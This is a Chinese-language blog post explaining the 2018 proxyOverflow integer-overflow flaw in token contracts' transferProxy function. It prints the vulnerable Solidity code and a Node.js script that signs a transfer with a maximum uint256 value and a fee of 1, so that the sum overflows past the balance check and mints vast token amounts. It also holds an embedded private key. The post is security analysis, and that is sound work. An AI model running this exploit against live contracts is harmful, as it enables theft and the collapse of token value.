2018年4月,PeckShield发现了不少已经在交易所平台进行交易的Token合约都包含了proxyOverflow漏洞,然后这些Token要么价格直接归零,要么暂停交易,等待换新币。我在这里给出详细一点的解释和攻击过程。不少智能合约都包含了一个transferProxy函数,这个函数的功能是做代理支付使用的。比如Alice持有XXToken,但是Alice并没有ETH,无法交付以太坊网络交易手续费,这时Alice就不能直接通过发送以太坊交易转账XXToken给Bob,这时,Alice就可以通过中间商PayX间接支付给Bob,中间商PayX不会向Alice收取ETH,但会收取一定量的XXToken作为手续费,然后中间商PayX再发交易到以太坊网络触发transferProxy函数,完成Alice到Bob的转账。可以参考下面的transferProxy代码,但是这个代码中却包含了一处整数运算溢出漏洞:【if(balances[_from] < _feeUgt + _value) throw;】,这个语句里的_feeUgt + _value的运算结果是可以溢出的,只要让其结果刚好溢出为0,就可以让if语句跳过,进而发生漏洞攻击,创造出天量的XXToken到目标地址,导致XXToken的价格直接归零。
function transferProxy(
address _from, address _to, uint256 _value, uint256 _feeUgt,
uint8 _v, bytes32 _r, bytes32 _s) returns (bool) {
if(balances[_from] < _feeUgt + _value) throw;
uint256 nonce = nonces[_from];
bytes32 h = sha3(_from, _to, _value, _feeUgt, nonce);
if(_from != ecrecover(h, _v, _r, _s)) throw;
if(balances[_to] + _value < balances[_to]
|| balances[msg.sender] + _feeUgt < balances[msg.sender]) throw;
balances[_to] += _value;
Transfer(_from, _to, _value);
balances[msg.sender] += _feeUgt;
Transfer(_from, msg.sender, _feeUgt);
balances[_from] -= _value + _feeUgt;
nonces[_from] = nonce + 1;
return true;
}
难点是如何构造出正确的V、R、S签名参数,有了这些参数,才能构造出交易。通过WEB3 Node.JS函数soliditySha3和ecsign,可以获得V、R、S签名参数,然后就可以发交易到以太坊网络(很简单的,这里略过),触发调用transferProxy(_from, _to, _value, _feeUgt, _v, _r, _s),为自己创造巨量的XXToken了。代码中的privateKey和addr是配套的。
var web3 =require("web3");
var util =require('ethereumjs-util');
var addr ="0x4e9321De20d647C5F7E83D3729daaBBE476C0E26";
var value ="0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff";
var fee ="0x0000000000000000000000000000000000000000000000000000000000000001"
var nonce = 0;
var hash = web3.utils.soliditySha3(addr, addr, value, fee, nonce);
var privateKey ="0x7aa914528182dba0e8ba209ff499ed442868940acd87115fb7043bc4ffb84998";
var sign = util.ecsign(util.toBuffer(hash), util.toBuffer(privateKey));
console.log(sign.v.toString());
console.log("0x" + sign.r.toString("hex"));
console.log("0x" + sign.s.toString("hex"));
网友评论